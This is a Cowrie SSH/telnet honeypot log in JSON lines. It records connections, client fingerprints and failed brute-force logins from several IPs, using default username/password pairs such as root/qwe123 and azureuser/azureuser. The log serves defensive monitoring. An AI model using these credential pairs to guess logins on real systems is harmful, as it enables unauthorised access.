{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:06.603307Z","src_ip":"45.153.34.112","session":"cc5294e1f089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:06.854802Z","src_ip":"45.153.34.112","session":"cc5294e1f089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:06.899399Z","src_ip":"158.178.141.16","session":"e57719dcf5da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:07.956930Z","src_ip":"45.153.34.112","session":"cc5294e1f089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41880,"dst_ip":"10.17.0.5","dst_port":22,"session":"25a802555edf","protocol":"ssh","message":"New connection: 45.153.34.112:41880 (10.17.0.5:22) [session: 25a802555edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:10.050829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:10.060572Z","src_ip":"45.153.34.112","session":"25a802555edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:10.146549Z","src_ip":"45.153.34.112","session":"25a802555edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.563533306121826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:10.217537Z","src_ip":"192.119.13.58","session":"6abf00ce2ea5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:10.402536Z","src_ip":"45.153.34.112","session":"25a802555edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:11.518065Z","src_ip":"45.153.34.112","session":"25a802555edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41886,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ff8a1049da","protocol":"ssh","message":"New connection: 45.153.34.112:41886 (10.17.0.5:22) [session: 71ff8a1049da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:13.401926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:13.409571Z","src_ip":"45.153.34.112","session":"71ff8a1049da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:13.493137Z","src_ip":"45.153.34.112","session":"71ff8a1049da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:13.747356Z","src_ip":"45.153.34.112","session":"71ff8a1049da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.599130630493164,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:14.002550Z","src_ip":"192.119.13.58","session":"78b2a4bb25f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:14.835473Z","src_ip":"45.153.34.112","session":"71ff8a1049da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.292574405670166,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:15.549602Z","src_ip":"192.119.13.58","session":"9cf26e9c4c18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":43678,"dst_ip":"10.17.0.5","dst_port":22,"session":"f63256c02a16","protocol":"ssh","message":"New connection: 43.173.122.127:43678 (10.17.0.5:22) [session: f63256c02a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:16.607044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:16.612531Z","src_ip":"43.173.122.127","session":"f63256c02a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:16.680727Z","src_ip":"43.173.122.127","session":"f63256c02a16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41892,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b175a14c276","protocol":"ssh","message":"New connection: 45.153.34.112:41892 (10.17.0.5:22) [session: 6b175a14c276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:16.725884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:16.831885Z","src_ip":"45.153.34.112","session":"6b175a14c276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:16.837570Z","src_ip":"45.153.34.112","session":"6b175a14c276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baby","message":"login attempt [root/baby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:16.992887Z","src_ip":"43.173.122.127","session":"f63256c02a16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:17.230843Z","src_ip":"45.153.34.112","session":"6b175a14c276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:18.066270Z","src_ip":"43.173.122.127","session":"f63256c02a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:18.316513Z","src_ip":"45.153.34.112","session":"6b175a14c276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38872,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9a89b210f7d","protocol":"ssh","message":"New connection: 45.153.34.112:38872 (10.17.0.5:22) [session: f9a89b210f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:20.395846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:20.401994Z","src_ip":"45.153.34.112","session":"f9a89b210f7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:20.485104Z","src_ip":"45.153.34.112","session":"f9a89b210f7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:20.739892Z","src_ip":"45.153.34.112","session":"f9a89b210f7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:21.825412Z","src_ip":"45.153.34.112","session":"f9a89b210f7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38884,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad6fdc10aee","protocol":"ssh","message":"New connection: 45.153.34.112:38884 (10.17.0.5:22) [session: 9ad6fdc10aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:23.716478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:23.721866Z","src_ip":"45.153.34.112","session":"9ad6fdc10aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:23.805931Z","src_ip":"45.153.34.112","session":"9ad6fdc10aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":47498,"dst_ip":"10.17.0.5","dst_port":22,"session":"829864b066f5","protocol":"ssh","message":"New connection: 81.9.145.130:47498 (10.17.0.5:22) [session: 829864b066f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:24.001711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:24.014351Z","src_ip":"81.9.145.130","session":"829864b066f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:24.058131Z","src_ip":"45.153.34.112","session":"9ad6fdc10aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:24.133954Z","src_ip":"81.9.145.130","session":"829864b066f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aBc123456","message":"login attempt [root/aBc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:24.632051Z","src_ip":"81.9.145.130","session":"829864b066f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:25.255345Z","src_ip":"45.153.34.112","session":"9ad6fdc10aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50922,"dst_ip":"10.17.0.5","dst_port":23,"session":"c14e0419ca10","protocol":"telnet","message":"New connection: 192.119.13.58:50922 (10.17.0.5:23) [session: c14e0419ca10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:25.464410Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:25.752962Z","src_ip":"81.9.145.130","session":"829864b066f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52064,"dst_ip":"10.17.0.5","dst_port":23,"session":"b235fa91a97a","protocol":"telnet","message":"New connection: 192.119.13.58:52064 (10.17.0.5:23) [session: b235fa91a97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:25.758090Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52894,"dst_ip":"10.17.0.5","dst_port":23,"session":"0244953e1d0b","protocol":"telnet","message":"New connection: 192.119.13.58:52894 (10.17.0.5:23) [session: 0244953e1d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:25.937661Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":54862,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b514046b92c","protocol":"ssh","message":"New connection: 170.238.160.191:54862 (10.17.0.5:22) [session: 8b514046b92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:40:25.945896Z"}
